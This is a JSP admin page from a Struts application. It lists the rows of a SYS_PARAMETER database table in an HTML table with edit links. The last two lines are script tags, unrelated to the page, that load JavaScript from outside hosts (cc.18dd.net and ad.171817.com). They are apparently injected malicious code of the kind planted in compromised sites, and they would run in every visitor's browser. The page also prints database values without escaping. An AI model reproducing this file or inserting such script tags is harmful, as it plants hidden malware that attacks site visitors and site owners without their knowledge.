<%
/*
 * @(#)ListSysParameter.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  ListSysParameter.jsp

  This class is used to list and the system parameter

    @author          Wilson Kong
    @company         DCIVision Limited
    @creation date   23/04/2004
    @version         $Revision: 1.1.44.1 $
*/
%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
    <%

    Connection conn = null;

    PreparedStatement sqlstmt = null;
    ResultSet rs = null;
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

    if ( conn != null ) {
      try {

        sqlstmt = conn.prepareStatement("SELECT * FROM SYS_PARAMETER");
        rs = sqlstmt.executeQuery();
      %>
      <p><b><u>List of System Parameters </u></b></p>

      <table border="1" >
        <tr bgcolor="#efffff">
          <td></td>
          <td><b>ID</font></b></td>
          <td><b>PARAMETER_CODE</b></td>
          <td><b>PARAMETER_VALUE</b></td>
          <td><b>PARAMETER_TYPE</b></td>
          <td><b>DESCRIPTION</b></td>
          <td><b>RECORD_STATUS</b></td>
          <td><b>UPDATE_COUNT</b></td>
          <td><b>CREATOR_ID</b></td>
          <td><b>CREATE_DATE</b></td>
          <td><b>UPDATER_ID</b></td>
          <td><b>UPDATE_DATE</b></td>
        </tr>

      <%
        rs.beforeFirst();
        while (rs.next()) {
      %>
        <tr>
          <td><html:link action = '<%=  "/admin/EditSysParameter?editID=" + rs.getString(1) %>'>Edit </html:link></td>
          <td><%=rs.getString(1)%></td>
          <td><%=rs.getString(2)%></td>
          <td><%=rs.getString(3)%></td>
          <td><%=rs.getString(4)%></td>
          <td><%=rs.getString(5)%></td>
          <td><%=rs.getString(6)%></td>
          <td><%=rs.getString(7)%></td>
          <td><%=rs.getString(8)%></td>
          <td><%=rs.getString(9)%></td>
          <td><%=rs.getString(10)%></td>
          <td><%=rs.getString(11)%></td>
        </tr>

      <%
        }
      } catch (SQLException e) {
        LogFactory.getLog(this.getClass()).error(e, e);
      } finally {
        try { sqlstmt.close(); } catch (Exception ignore) {} finally { sqlstmt = null; }
        try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      }
    }
    %>
    </table>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>